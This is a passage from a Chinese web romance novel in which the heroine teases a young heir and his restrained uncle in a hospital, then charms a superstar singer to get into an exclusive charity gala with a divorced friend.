他轻轻松松地扯下了那只手,更是直接站起身来,极高的身量携着浓重的压迫感, 他俯身继续追逐那双红唇。 姜以柔被他缠得又气又无奈, 她扭头狠狠瞪了眼门口长身玉立的男人,冷哼道:“还不管管你侄子!” 他倒是看得起劲儿。 姜以柔心里不爽,蹙眉瞪着方隐年。 听到她的话,方镜麒愣住了, 他后知后觉地转头, 在看到门口的小叔后,脸色霎时变得十分精彩。 亲是不可能继续亲了,方镜麒不情不愿地松开姜以柔, 恨恨地瞪了他小叔一眼,分外不客气地说道:“你来做什么?” 方隐年终于有反应了。他缓缓迈步走进屋内, 眼神却仿佛刻意避开了姜以柔, 一眼都未曾看她。 方隐年径直走到侄子身边,皱眉打量他头上的伤口,沉声道:“先处理伤口。” 方镜麒摸了摸脑袋, 摸到了一手的湿润,定睛一看,发现手上都是血。 他却不甚在意地用纸擦了擦手,随口道:“没事,小伤。” 方镜麒心不在焉地偷瞟着姜以柔,见她脸色很不好,不由得眼神微闪,有一瞬间的心虚。 但是很快,方镜麒那双充满野性的凤眸又紧紧锁定了姜以柔娇嫩的红唇。 他喉结微滚,眼底掠过明显的不甘,犹还带着蓄势待发的侵略性。 好可惜,差一点就能亲到她了…… 方镜麒似乎根本感觉不到伤口的痛楚,只直勾勾地盯着姜以柔。 见方镜麒这副满心满眼只有那个女人的模样,方隐年沉沉地吐出一口气,帮他叫来了医生。 在医生给方镜麒处理伤口的时候,姜以柔双臂环胸,凉凉地瞥了方隐年一眼,淡声道:“方总,你侄子头上的伤,可是他自找的,怪不得我。” 方隐年依旧没有看她,沉默着没有说话。 倒是方镜麒不老实地回过头,蹙着眉冷哼道:“我看谁敢怪你?!” 说着他还意有所指般瞪了自家小叔一眼,一如既往的嚣张又任性。 姜以柔没好气地瞥了他一眼,本想骂两句这个没轻没重的臭小子,但目光触及他脑袋上的那条划伤后,最终化为一声叹息。 姜以柔走上前,蹙眉打量他的伤口,轻声问医生道:“严重吗?” 那名男医生被她的美貌晃了神,向来很稳的手竟然一颤,痛得方镜麒痛嘶一声。 方镜麒抬眼想骂人,却见那医生正呆呆地盯着姜以柔出神,他顿时危险地眯了眯眼,警告般冷哼了一声。 男医生骤然回神,脸色乍红乍白,既是羞的,也是被方大少吓的。他赶紧低下头,不敢再看那美如妖精的女人。 他有些紧张地咽了咽口水,磕磕绊绊道:“不严重,伤口挺浅的,就是有点长,养养很快就好了。” 姜以柔点点头,笑着谢过医生。 随即她低头睨着方镜麒,没好气地斥道:“你能不能别总咋咋呼呼的,还嫌自己身上的伤不够多吗?” 右手还没好呢,脑袋又挂彩了。真是……不让人省心。 方镜麒紧紧盯着她,在捕捉到她脸上的关心之后,凤眸骤亮,唇角翘起一个得意的弧度,整个人神采飞扬的。 他倨傲地扬了扬下巴,不屑地说道:“放心,这点小伤,对我来说根本不算什么。” 年轻的男孩,总是迫不及待想在喜欢的人面前,展示自己的男子气概。 姜以柔瞥他一眼,轻轻哼笑道:“你伤到了头皮,小心以后再也长不出头发。” “变秃了的话,我看你怎么办。”姜以柔笑得眯起眼睛,像个坏心眼的狡黠狐狸。 方镜麒脸色微变,立刻恶狠狠地瞪向那名医生,粗声质问道:“喂,这伤会不会影响我长头发?” 医生被他吓了一跳,连忙道:“不会,不会的……” 姜以柔“啧”了一声,嗔怪道:“你怎么这么没礼貌?” 方镜麒被她堵得一口气上不去下不来,脸色怪异得很,最后,向来无法无天的方大少,竟然黑着脸对医生道:“抱歉。” 医生颇有些受宠若惊,连连摆手道:“没事,没事。” 方镜麒哼了一声,懒得去看那名医生,只不动声色地拿眼神去瞟姜以柔。 对上大少爷那强装镇定的眼神后,姜以柔终于忍不住轻笑出声。 如花般貌美的容颜顿时绽放出灼灼艳色,漂亮得勾魂夺魄。 方镜麒定定地凝着她,也不由得勾了勾唇角。 看来姜以柔没有生他的气,方镜麒悄悄松了口气,心底却忍不住漫上点酸涩的遗憾。 他直勾勾地盯着那双诱人的红唇,心里的不甘越发强烈。 如果他能动作再快一点就好了…… 方镜麒俊脸阴沉,神情不断变换。要不是他小叔突然出现,他肯定能得逞! 这么想着,方镜麒面色不善地朝他小叔瞪去,这才发现,方隐年从刚才起就默然无声,安静地注视着他跟姜以柔。 方镜麒微微一怔,英挺的眉旋即蹙起,他一步跨到姜以柔身前,警惕地挡住了方隐年的目光,像只护食的小狗。 方隐年始终平静如一潭死水,深邃的凤眸中看不出任何情绪,只是在察觉到侄子警惕的眼神后,淡淡地移开了视线,不再去看他们。 方镜麒皱眉仔细观察了他许久,才半信半疑地移开视线。 方隐年的身后,苏正死死低着头,额角的冷汗都落到了地板上。 他心脏狂跳,在这叔侄俩对视时大气不敢出,生怕爆发世界大战。 这时,医生终于给方隐年处理好了伤口,其实就是止了下血,连纱布都没缠。 方镜麒头发还没剃完,姜以柔就又拿起来剃刀,严肃道:“好了,我再帮你把头发修一下,这次可不许再乱动了。” 方镜麒目光微闪,不知道想起了什么,有些不自在地轻咳一声,道:“我尽量。” 姜以柔仔细小心地帮方镜麒修着头发,还贴心地帮他清理了下脖颈上的发茬。 当她微凉柔腻的手抚上方镜麒的脖颈时,他身体一僵,浑身都绷紧了。 兀自弄了一会儿,姜以柔总觉得束手束脚的,便极其自然地冲门边的方隐年招手道:“方总,来帮我一下。” 方隐年一直冷眼看着他们,此时被姜以柔喊住,眸光有一瞬间的怔愣。 方镜麒率先皱眉抗议道:“不准让他动我的头发,你亲手剃!” 姜以柔耐心地哄道:“我只是让他帮我打下手而已。” 苏正抹了把额上的冷汗,刚想说打下手的活让他来做吧,别麻烦他们方总了。但下一秒他就把嘴紧紧闭上了。 方隐年虽然什么都没说,但他竟顶着自家侄子不善的目光,神色自若地走到了姜以柔身边。 随即,姜以柔十分自然地把电推刀塞进他手里,轻声道:“从下往上剃,小心不要伤到他……” 姜以柔朝他靠近的一瞬间,熟悉的幽香袭来,方隐年下意识地屏住呼吸,片刻后,若无其事般开始给侄子理发。 方镜麒绷着脸,老想转头盯着他小叔,跟防贼似的。 姜以柔忍无可忍地掰过他的脸,严肃警告道:“不许乱动。” 方镜麒眸光微闪,一把攥住她按在自己脸上的手,霸道地说道:“那你也不许乱动,就站在我面前。” 谁知道在他看不见的地方,姜以柔和方隐年会不会偷偷有接触。小心眼的方大少暗忖道。 姜以柔:“……” 姜以柔无奈至极,想抽回自己的手,却被他紧紧抓住。少年的掌心宽厚而炙热,大有股握住了就不松开的蛮劲儿。 方隐年专注地帮侄子剃头发,视线漫不经心地扫过两人交叠紧握的手,眸光冰凉如水。 姜以柔再次肃声警告道:“赶紧松开我,我还要帮你修一修发型呢。” 方镜麒不爽地“嘁”了一声,“让方隐年干就行了。” 明明是他跟姜以柔的独处时间,这人却没眼色地非要凑上来,呵呵,他想干就都让他干吧。 姜以柔眯了眯眼睛,语气有些危险:“你要是发型太丑的话,我就不来看你了,伤眼。” 方镜麒:“……” 此话一出,任性的方大少一下子被制住了。他脸色阵青阵白,终于不情愿地松开了姜以柔的手。 姜以柔顺势绕到他身后,又到了方隐年的身边。 方隐年的手很稳,慢慢地帮侄子修理发茬,当她柔软的身体靠过来时,微不可察地顿了片刻。 姜以柔看了一会儿,突然轻轻握住他拿着电推刀的手,身体也不由得向他倾斜,若有似无地贴在他身上。 “你要这样发力……” 柔嫩细腻的手掌握住了他的,如暖玉一般细滑,那若有似无的肢体接触更像是搔在他心间的一根羽毛,勾起深处的躁动。 方隐年眸光骤沉,被姜以柔轻轻握住的手也僵住了,怎么都动不了。 姜以柔漫不经心地瞥他一眼,唇角的弧度有些玩味,语气却一本正经地催促道:“方总,继续啊。” 她缓缓收紧了手,似是提醒,又似是爱抚,无声地撩人。 方镜麒跟着附和道:“你快点行不行?” 方隐年紧紧盯着那只覆在自己手背上的柔荑,素来平静的面容此时像结了冰一般冷然,凤眸中全是紧绷的寒意。 镜麒那么喜欢她,满心满眼都是她,可现在……她却在明目张胆地撩拨他。 这算什么? 浓烈的愧意如烈火般烧灼着方隐年的心,他几乎有种无法面对侄子的感觉。 方隐年闭了闭眼睛,再睁开时眼底一片冷然。 他突兀地抽出手,拿着电推刀径自远离了姜以柔。 姜以柔有些意外地看着他冷漠的背影,挑了挑眉,但什么都没说。 方隐年将电推刀塞给门口的苏正,然后脚步不停,径直出了病房。 苏正一脸懵地拿着手里的电推刀,有些无措地看向姜以柔。 姜以眯起眼睛盯着他的背影,无声地轻笑了下。 在场只有方镜麒最开心,他轻哼道:“终于走了。” 姜以柔很快就收回了视线,转头对苏正笑道:“苏特助,这里我来就好,你去找方总吧。” 苏正讪笑两声,恭敬地送上电推刀,然后一溜烟跟上了方隐年的脚步。 姜以柔则若无其事地继续理发的收尾工作。 剃头过程中,666突然冒泡:“宿主,你刚才是在勾引方隐年吗?” 姜以柔故意逗他:“你觉得呢?” “我感觉是!”666严肃道,“你喜欢方隐年吗?” “喜欢?”姜以柔玩味地咀嚼着这两个字,良久才漫不经心地说道,“非要说的话,我喜欢他的钱财和权势吧。” 她刚参加完圣维尔的家长会,在那么多人面前露过脸,如果不找个有权势的男人,想也知道会面临无数麻烦。 姜以柔颇有些嫌弃地“啧”了一声,幽幽道:“可惜啊,方隐年的性格实在太无趣了,不过人无完人,他也勉强够格了吧。” 系统666有些磕绊地问道:“可是、可是……那反派呢?你不喜欢反派了吗?” 姜以柔惊讶地反问道:“谁规定只能喜欢一个了?” 她唇角微勾,意味深长地说道:“方隐年有钱有权,谢凛嘛……也有他的长处。” 系统666:“……” 细说反派的长处呢。:) 姜以柔在脑海里跟666插科打诨,手上一点儿不停,细致地帮方镜麒剃着头发。 等到终于大功告成时,姜以柔后退两步,饶有兴味地打量着方镜麒的新发型。 原本的银白色碎发变成了几乎贴头皮的圆寸,方镜麒的头骨长得堪称完美,这个发型更突显出他英俊立体的五官,有种锋锐凌厉的野性,帅得相当有攻击性。 方镜麒有些不习惯,下意识地抬手摸头,被那扎手的感觉弄得直皱眉。 方大少生平第一次有些怀疑自己,问道:“这……会不会很丑啊?” 姜以柔笑着摇了摇头,柔声道:“不会,很帅哦。” 闻言,方镜麒忍不住嘴角上扬,好看的凤眸中闪着细碎的光,那股肆意的少年意气让人移不开目光。 * 方隐年离开病房后,转头就进了隔壁的房间,这里早已被改造成他的临时办公区。 方隐年坐在办公桌前,开始处理今天的工作。 隔了两分钟,苏正小心翼翼地进了屋,他站在方隐年身侧,大气都不敢出,但总忍不住偷偷瞟他。 方隐年英俊的面上没什么表情,一如往常般平和冷静,仿佛什么都无法让他失控。 可如果真的全然平静,他刚才的突兀离开又是为什么呢? 正当苏正的思绪越发飘忽之时,耳侧突然响起一道醇厚而沉静的嗓音。 “镜麒的手臂恢复得如何?”方隐年头也不抬地问道。 苏正一个激灵,立刻正色严肃道:“医生说,少爷恢复得不错。如果……” 苏正顿了顿,才继续道:“如果少爷能一直这样配合治疗,很快就能痊愈,也不会有什么后遗症的。” 方隐年签字的手微微一滞,然后才若无其事地继续签名,只是那纸张上终究留下了一个深深的墨迹。 方隐年垂眸盯着这点不起眼的墨迹,半晌才道:“有她在,镜麒乖了很多。” 方隐年凤眸深邃,不期然回想起方才看到的画面。 方镜麒的那头银发,他看不顺眼许久了,但都没能让侄子染黑。可现在,他居然肯直接将头发剃掉。 还有,向来无法无天的镜麒,竟然会因为她的一句话,主动跟医生道歉。 方隐年突然扔了手中的笔,他靠在椅背上,抬手轻轻揉着眉心,周身的气压有些低。 就在刚才,他突然意识到—— 镜麒比他预想中,更喜欢她。 镜麒……他唯一的侄子,哥嫂留下的唯一血脉。 方隐年撑着眉心,眉眼藏在一片阴影中,沉凝而冷肃。 良久,他突然冷声道:“以后她再来医院……不用通知我。” 他那隐晦难言的一点心动,本就是个错误。 就这样吧。 苏正愣住了,反应了好一会儿,才喏喏地应声道:“好的,方总。” 方隐年缓缓闭上眼眸,眉心印出隐忍的皱褶。 就在这时,他的房门突然被敲响了。 然后,不等他反应,来人就推门而入,姜以柔美丽动人的脸出现在他们面前。 方隐年和苏正同时朝她看去。 姜以柔反手关上门,神情自然地说道:“方总,你之前支付的探望方少爷的费用,已经差不多用完了。” “如果还需要我继续来医院探望的话,记得续费哦。”说完,姜以柔还礼貌客气地笑了笑。 方隐年微微一怔,随即眸光骤沉,他放在桌子上的手无意识地捏紧。 良久,他面无表情地问道:“姜小姐,你对镜麒……难道就没有一点真心吗?” 姜以柔挑了挑眉,意味深长地盯着方隐年看了一会儿。 然后,她迈步朝方隐年走去,高跟鞋磕在地板上发出清脆的声响,一下又一下,几乎与他的心跳声重合。 姜以柔在办公桌前站定,和方隐年隔着一张桌子对视。 她居高临下地俯视这个冷漠而克制的男人,突然绽开一个勾魂夺魄的妩媚笑容,一字一句轻声问道: “方总,你希望听到什么答案呢?” 第50章 “方总, 你希望听到什么答案呢?”姜以柔笑意盈盈地问道。 再温柔不过的话语,却如利刃般直戳方隐年心底最隐秘的地方。 闻言,方隐年呼吸微滞, 眼瞳微不可察地颤了颤。 当然,他很快就垂眸掩住了这丝异样,面容沉静无波。 姜以柔唇角带笑, 好整以暇地观察着他的反应, 像在观察什么有趣的事情。 她似乎很满意于方隐年这一瞬间的失控,脸上的笑意都加深了些许。 沉默蔓延, 他们明明是在对峙,却隐约有种暗潮涌动的暧昧,如同火山下的岩浆, 在缓缓流淌。 只等一个爆发的机会。 最终, 方隐年缓缓闭上眼睛,一切翻涌的情绪都被他死死压在了平静的面孔之下。 他喉结微滚,再开口时嗓音略显暗哑,道:“钱我会打到你的卡上。” 说完, 他便薄唇紧抿, 不再开口。 姜以柔瞬间眉开眼笑,娇声道:“那就谢谢方总了。” 她深深地看了方隐年一眼,目光落在他紧绷冷硬的脸上, 唇角的弧度有几分玩味。 就在方隐年以为她会离开时,姜以柔突然对苏正笑着说道:“苏特助, 你能先出去一下吗?” 方隐年喉间一紧, 猛地抬头望向她,凤眸沉冷。 苏正嘴角微抽,紧张地吞了吞口水, 忍不住偷瞟方隐年。按理说方总没发话,他不该随便被外人命令。但是…… 苏正果断低头,很有眼色地溜出了房间。 随着轻轻的关门声响起,房间里只剩下姜以柔和方隐年两个人。 姜以柔双手撑在办公桌上,倾身朝方隐年凑近,窈窕的身躯拉出一道诱人的弧度。 那张美得惊心动魄的脸庞就这样猝不及防地凑到方隐年的面前,连同那诱人的幽香也一瞬间将他包裹。 方隐年按在桌上的手瞬间死死捏成了拳。 姜以柔深深地看着他,那双妩媚又无辜的眼睛中只倒影出他一个人的身影。 她就这样慢慢地贴近,直至他们鼻尖相抵,炙热的呼吸都交缠在一起,烫得人心慌。 彼此的唇瓣不过一寸之遥。 方隐年一动不动,静静地回视她,英俊的脸上依旧没什么表情,那双狭长的凤眸却深不见底,暗潮涌动。 就在姜以柔即将主动亲上去的时候,她突然轻笑一声,遂好整以暇地直起了身子。 两人之间的距离顺势被拉开。 方隐年的神情有片刻的怔愣,这一瞬间不知在想什么。 姜以柔双臂环胸,居高临下地睨着端坐在办公椅上的方隐年,懒洋洋地问道:“方总,是不是以为我要亲你啊?” 方隐年的唇角绷起冷厉的弧度,他沉声问道:“你到底想做什么。” 他语气低缓,带着丝不甚明显的哑意。 姜以柔撩起一缕碎发,笑得像只狡黠的狐狸,说道:“我就是想看看……你会不会躲。” 说完,她轻轻地哼笑一声,那丝笑音很轻,转眼消散在空气中,却如重锤一般敲在方隐年的心上。 因为,他没有躲。 “方总,我先走了,记得给我打钱哦。”姜以柔终于欣赏够了他的狼狈,恶趣味被满足,便施施然转身就走。 她打开房门,又回头冲他娇媚一笑,摇曳生姿地离开了。 直到大门被关上,方隐年依旧眸光沉冷地盯着门口处,久久没有反应。 * 这天,姜以柔如往常一般睡到日上三竿,起床后,她简单画了个淡妆,直奔某家高级茶餐厅。 她跟张太太约了在这里见面。 姜以柔到的时候,张茜已经在喝茶了,一见到她,便热情地迎上来。 “以柔,你来了,快坐快坐!”张茜亲热地拉住姜以柔的手,跟她寒暄起来。 姜以柔笑着坐到她对面,歉声道:“张姐,让你久等了。” 张茜随意地摆摆手,“没有,是我来早了。” 姜以柔一边矜持地微笑,一边不动声色地打量着张茜,然后她敏锐地发现——张茜似乎状态很差。 比起初见时那个傲气凌人,精致讲究的贵妇人,如今的张茜憔悴了许多,甚至她身上都没几件像样的首饰了,看起来颇为落魄。 但是,张茜没有在姜以柔面前表现出丝毫颓丧,强撑着精神与她说笑聊天。 见她不想提及自己的事情,姜以柔也没有自作主张地探究什么,只言语间更加温柔体贴。 当姜以柔刻意想跟某个人处好关系时,再冷的心也会被她融化,更何况张茜本就对她极有好感。 二十分钟不到,张茜已经掏心掏肺地拿她当好姐妹了,什么话都跟她说,丝毫不见外。 姜以柔见时机成熟了,便不动声色地将话题引向了那个林松齐。 “你说林松齐啊?”张茜不疑有他,大大方方地分享自己知道的情报,“他们家是港城的豪门,半年前刚来S市发展,我对他还真不太了解。” “不过我听说,林松齐是豪门圈里难得的好男人,疼老婆,爱孩子,这么多年来毫无二心,长得还那么帅,唉,真让人羡慕……”张茜说着说着,目光微怔,似乎想起了什么,神情不由得有些苦涩。 闻言,姜以柔眉梢微动,脸色不由得有些古怪。 好男人?不见得吧。 姜以柔继续问道:“他太太叫什么?” “乐婉儿啊,港城的豪门独生女,也挺有名的,是个十指不沾阳春水的娇小姐。”张茜悠悠地叹道,“出嫁前父母疼,嫁人后老公疼……命真好。” “乐婉儿,乐柠……”姜以柔愣了愣,不由得惊奇地问道,“林松齐是入赘的吗?” “对啊,这个大家都知道。”张茜耸了耸肩,“据说林松齐以前穷得很,在港城混得差点命都没了,但他运气好入了乐大小姐的眼,从此一步登天……当然,他自己也挺争气的,这些年帮乐老爷子把公司管理得蒸蒸日上,现在已经基本上掌权了。” “以前还有人笑他是赘婿、靠女人,这几年都没人敢这么说了,都巴结他呢。” “穷小子?”姜以柔蹙眉呢喃道。 她心里不由得咯噔一下。 如果林松齐以前很穷的话,那么……他还真有可能认识原来的“姜以柔”。 姜以柔沉思片刻,正色道:“张姐,我也不瞒你了,我需要知道林松齐更详细的事情,最好是一些不为人知的隐秘,你能帮我吗?” 姜以柔眨着眼睛,祈求地盯着张茜,那眼神简直让人无法拒绝。 张茜下意识地点了点头,但她很快又迟疑地问道:“以柔,你别怪我多嘴,我就是想确认一下……你应该不是看上那个林松齐了吧?” 毕竟是有妇之夫啊,唉! 姜以柔嘴角微抽,“怎么可能呢,张姐?” 她有洁癖,看不上已婚男。 张茜松了口气,随即认真地思索起来。 随即,她像是突然想起了什么,脸色变得有些古怪,说道:“那个……我好像还真知道一个人,她大概帮得上忙。” “陈家有个女儿叫陈佳语,十几年前嫁去了港城有名的豪门,听说跟乐家有过生意上的往来,彼此挺熟悉的。最近陈佳语正好回S市探亲,从她那边儿应该能打听到点儿东西。” 姜以柔精神一震,面露喜色道:“太好了,张姐,那我们可以去找她吗?” 张茜皱眉沉思片刻,突然间脸色一变,猛地起身说道:“糟了,我刚想起来,陈佳语好像是明天一早的飞机回港城。” “如果要去找她的话,我们现在就得出发了。” 姜以柔也有些意外,配合地起身说道:“张姐,那我们现在就走吧。” 张茜却僵硬地站在原地,迟迟没有动作,她神情有些尴尬。 顶着姜以柔疑惑的目光,过了很久,张茜才泄气地瘫坐在椅子上,显出几分无助之色。 张姐的眼神有些空洞,解释道:“今晚有个规模很大的慈善晚宴,陈佳语也会参加。我们如果要见她,只能去宴会上找。” “但是……”张茜深吸一口气,苦笑道,“以柔,我也不瞒你了。那个宴会……我大概没法带你进去了。” “因为我最近……离婚了。”话说出口后,张茜像是被抽掉了骨头一般,整个人苍白透明得近乎碎裂。 她扯了扯嘴角,那表情似哭非哭,好像泪已经流干了,喃喃道:“我才知道,他外面的儿子都那么大了,而且这些年一直在转移财产。” “都说一日夫妻百日恩,可他竟然那么狠心,什么都不给我留,就把我一脚踹走了。” “甚至他连女儿都不想要。”张茜的手死死捏成拳,眼里浮现出浓重的恨意,“是我以死相逼,他怕在外面闹得没脸,才答应送女儿出国读书。” 姜以柔静静地看着她,眸光无波无澜。 张茜似乎被人抽去了精气神,心如死灰般喃喃道:“我娘家早就败落了,现在又被离婚,以前的那些朋友都躲着我走,而那些宴会……我也没资格再去了。” 张茜勉强冲她笑了笑,语气有些内疚道:“抱歉啊,以柔,恐怕帮不上你什么忙了。” 姜以柔轻轻叹了口气,安抚般拍了拍她的肩头,美丽的脸上露出几分心疼之色,如神女垂怜世人,悲悯又动人。 张茜原本正沉浸在悲伤中,看着姜以柔近在咫尺的绝美脸庞,以及眼里的柔情与心疼,愣愣地呆住了,连悲伤都被冲淡了。 “张姐,你受委屈了。”姜以柔轻声细语地安慰道。 在姜以柔耐心又温柔的安抚下,张茜忍不住抱着她大哭一场。 她窝在姜以柔的怀里,那软玉温香的身体,那幽幽的香气…… 张茜哭着哭着,突然就不难过了。 怎么说呢,当你抱着姜以柔这样的美人时,你很难感到悲伤,甚至她都有点忍不住唇角上扬。 张茜有些不自在地轻咳一声,讪讪地擦了擦眼角的泪:“不好意思,让你看笑话了。” 姜以柔拿着纸巾,亲手帮她拭去眼泪,动作小心又轻柔。 她认真地盯着张茜的眼睛,温声道:“张姐,你别伤心,相信我,一切都会好的。” 不知为何,听到姜以柔说这样的话,张茜的心里竟真的好受了许多。 她动容地望着姜以柔,哽咽道:“以柔,谢谢你……” 姜以柔温声细语地安慰她好一会儿,随即有些愧疚地说道:“张姐,我知道这对你来说很为难,但我真的需要问清楚一些事情。你能带我去那个宴会吗?” 张茜盯着她良久,抿唇道:“以柔,只要你需要,我义不容辞。但是我们没有受到邀请,是不可能混进那种规模的慈善晚宴的,去了也是白去,我怕你失望……” 姜以柔淡淡地一笑,轻声道:“放心吧张姐,我能进去的,你只要帮我引个路就好。” 见到姜以柔这副笃定的模样,张茜沉思片刻,最终咬着牙点了点头。 宴会即将开始,她们的时间非常紧迫,当即便往宴会地点赶去。 半个多小时后,她们赶到了举办宴会的场地——S市唯一一家超五星级酒店。 在距离酒店数百米之外,路边已然停满了各种豪车。姜以柔和张茜估计是唯一坐出租来的。 路口处堵得车子无法驶进,她们只能早早下车步行着去酒店。 离酒店越近,入目所及的人便越是矜贵讲究。 他们都穿着精致的礼服,戴着价值不菲的首饰,举手投足间都散发着金钱的奢靡气息。 而姜以柔和张茜,她们没穿礼服,只穿着日常服装,身上连件拿得出手的首饰也没有。 张茜有些局促地低下头,脸上弥漫着尴尬与自卑。 以往参加宴会,她都是提前半个月开始准备,美容、高定礼服、妆发、珠宝首饰……力求每一项都做到最完美。 因为宴会上大家总会互相攀比,可不能丢了面子。 她还是第一次这般潦草地参加宴会呢。 张茜紧张地小声问姜以柔:“以柔,你打算怎么进去?” 酒店大门那里门禁森严,好几个黑西装保镖在哪里看着,一个一个地查邀请函,恐怕很难蒙混过关。 姜以柔也不急,带着张茜站在路边的阴影中,静静地打量着每一个前来参加的宴会的人。 终于,她似乎盯上了一个目标。 她一把抓起张茜的手,快步朝前方走去。 那里,一行人正要进入宴会厅。为首的是个长身玉立的青年男人,衣冠楚楚,俊美出挑,相当有派头,身边跟着好几个类似于助理的人物。 安保人员微微屈身,双手接过他的邀请函,随即微笑着请他入内,对他的态度都比对旁人更恭敬几分。 姜以柔小跑着到他身后,赶在他进入酒店之前喊道:“先生!” 身旁,张茜的眼睛不由得亮了起来。 难道,姜以柔认识前面那个人?那她们说不定还真能混进去! 下一秒,就听姜以柔扬声喊道:“先生,能帮我个忙,把我带进去吗?” 张茜:“……” 等等,你不认识人家啊? 所以你的计划就是随便抓个“好心人”把你带进去? 这合理吗?! 张茜被这番操作雷得外焦里嫩,望向姜以柔的视线中满是无力,心中也叹了口气。 唉,以柔还是太天真了,不清楚这种规格的宴会有多么严格,若不是有很深的交情,不会有人因为好心就随便带人混进去的,因为一旦被查出来就会被主办方拉黑,这可是很丢脸也很有风险的事情。 看来她们是注定混不进去了。 姜以柔丝毫不觉得自己的做法有多荒谬,喊出声后,便笑盈盈地盯着前面的人,一副很期待的模样。 在她出声后,前方那一行人脚步微顿。 为首的青年厌烦地皱了皱眉,连头都懒得回,微扬的下颌显出无声的矜傲。 他有一头微长的卷发,容貌精致而俊美,甚至有种混血感,一双桃花眼多情又无情,左眼下的一颗泪痣更显妖异。但他身量极高,目测足有一米九,肩阔腿长,身形结实,所以并不显得女气,反而有种近乎锋利的邪性美。 青年身侧有个助理模样的男人,他也没回头,只低声催促前面的人,说道:“星延,别回头,我们赶紧进去,估计又是狗仔或者私生粉。” “妈的,这群人也太烦了,哪里都能被他们找到……”男助理不悦地抱怨道。 姜以柔选中的这个男人名叫顾星延,是当下红透半边天的大明星。 他是歌手出身,十七岁出的第一张专辑便一炮而红,之后他年年有爆曲,次次演唱会爆满,成了乐坛当之无愧的天王级人物。 后来他开始涉足影视行业,接了一部文艺片,没上映前,业内一片唱衰,说他走了一步错棋,说不定会因此而消耗掉口碑。 然而谁都没想到,他竟然凭借这部文艺片,一举夺得了一座国际影帝奖杯,国内更是连砍三座影帝奖杯,甚至于这有些沉闷的小成本文艺片,都卖出了十几亿票房。 从此,他成了娱乐圈的一个传奇。既有实力又有人气,长红十年而风头无两,无人出其右。 姜以柔也是眼力过人,一出声就喊住了全场最受瞩目的一个人。只是她似乎被当成了不怀好意的人。 顾星延头也没回,面无表情地继续往前走,他团队里的人也对这种黏上来的追逐者见怪不怪,甚至懒得回头看一眼。 他们正想直接进入宴会厅,然而,前路却被人堵住了。 那个检查邀请函的安保人员,手里仍拿着他的邀请函呢,却迟迟没有侧身让开道路。 他目光痴然,越过顾星延被誉为神颜的脸,怔怔地看着他身后,眼里是近乎狂热的惊艳。 这神态,恐怕得见天仙也不过如此。 顾星延瞥了这人一眼,只觉得他莫名其妙,在浪费自己的时间。 旁边,他的助理黑着脸提醒那名保安,“喂?喂!邀请函都看完了,还不赶紧放我们进去!” 那人恍若未闻,仍旧怔怔地看着前面。 助理气得直瞪眼,骂骂咧咧地顺着他的视线看去,“啧,你小子发什么呆……” 下一秒,他的话音戛然而止。 他跟那名保安一样,也变成了一尊动弹不得的雕像。 周围的人陆续都变成了木头,顾星延终于察觉到了不对劲。 顺着那几道痴迷中带着震惊的视线,顾星延皱着眉回头。 他不需要刻意去寻觅那两个人到底看到了什么,轻而易举地便一眼锁定。 因为那个人实在太耀眼了。 霓虹绚烂,纸醉金迷的世界,这一刻在顾星延眼中迅速褪色,只剩下那一抹纯白的亮色。 顾星延怔然地望着她。 以一张神颜惊艳世人的顾天王、顾影帝,生平第一次尝到被别人惊艳的滋味。《 》 50-60 第51章 此时此刻, 时间仿佛停滞了,所有的喧嚣尽数褪去,人群中那个浅笑嫣然的女人才是唯一的亮色。 月色都更温柔了几分, 洒落在她身上如同披了一层轻纱,朦胧美好得像是一场幻梦。 顾星延怔怔地看着那个美得不似真人的女人,许久都未曾回神。 这一刻, 他忘了自己在哪儿, 甚至忘了自己是谁,满心满眼都只有那张美丽的脸庞。 姜以柔等了许久都不见他有反应, 只能牵着张茜上前几步,再一次出声问道:“先生?” 柔媚婉转的嗓音终于唤回了顾星延的神智,他眸光骤凝, 一双多情的桃花眼灼灼盯着姜以柔。 “你……”顾星延开口, 嗓音嘶哑得连他自己都吓了一跳,他勉强定了定心神,才继续问道,“你叫什么名字?” 姜以柔冲他浅浅一笑, “姜以柔。” “姜小姐。”顾星延的眼睛亮得惊人, 直勾勾地盯着她。 良久,他粲然一笑,英俊得好像在发光, 眼下的那点泪痣更是勾人。 顾星延微微俯身,一手背在身后, 另一只手伸到她面前, 做了一个标准的绅士礼,姿态优雅而矜贵。 “这位美丽的小姐,请问我能有幸邀请你当我的女伴吗?” 顾星延一身深蓝色西装, 那双桃花眼深深地凝视着她,深情又温柔,简直像是童话里走出的王子,那样风度翩翩。 姜以柔有些惊讶地打量着他,似乎有些意外。 这个男人绝口不提帮她混进宴会的事情,反而主动邀请她做女伴,可谓给足了她台阶,体贴又周到。 很好,她就喜欢跟聪明人打交道。 姜以柔抿唇一笑,优雅地将手搭在了他修长宽厚的掌中,矜持道:“当然愿意。” 在那双柔荑落入他掌中的一瞬间,顾星延缓缓收紧手掌,将其牢牢地握住,掌心带着惊人的热度。 他胸膛起伏的弧度有些明显,显然很不平静,但面上却始终保持着优雅温柔的微笑。 “姜小姐,你怎么会孤身一人来这里?”顾星延说话时温声细语的,一双眼睛紧紧盯着她不放。 姜以柔轻笑一声,顺势拉过已然石化的张茜,解释道:“我和朋友一起来的,并不是一个人。” 顾星延漫不经心地瞥了眼张茜,紧跟着追问道:“只有朋友吗?那……你的家人呢?” 姜以柔听懂了他的试探,坦然地笑道:“我目前单身,所以只能跟朋友一起来。” 闻言,顾星延眼眸微亮,眼下的泪痣似乎都鲜艳了几分,他忍不住喉间溢出一丝轻笑,道:“正好,我们今晚可以作伴了。” 顾星延不愧是歌坛天王,那一把磁性醇厚的嗓音分外勾人,尤其是他刻意压低声音时,简直让人脸红心跳。 当顾星延刻意释放魅力的时候,恐怕没有人能抵挡得住。 只可惜他遇到的是姜以柔。 姜以柔始终笑得温婉而恬淡,她滴水不漏地回应着顾星延的话,距离保持得恰到好处。 既不会过于亲近,又不会太过冷淡,若即若离的让人心痒。 顾星延这个被众人追捧惯了的大明星,在姜以柔面前却温柔体贴得不可思议,笑盈盈的桃花眼中满是欣赏。 接下来,姜以柔挽着顾星延的手臂,十分顺利地进入了宴会厅。 张茜跟在她身边,恍恍惚惚地环视着四周,一副不敢相信的模样。 她们就这么轻轻松松地混进来了?! 看来……天真的不是姜以柔,而是她! 她远远低估了姜以柔美貌的杀伤力! 张茜转头盯着姜以柔的脸,越看便越是赞叹,这样好看的一张脸,竟然是凡人能长出来的? 正当张茜忍不住沉溺于她的美貌中时,姜以柔突然跟她对视了一眼。 姜以柔一边应付顾星延的热情,一边悄悄冲她眨了眨眼睛。 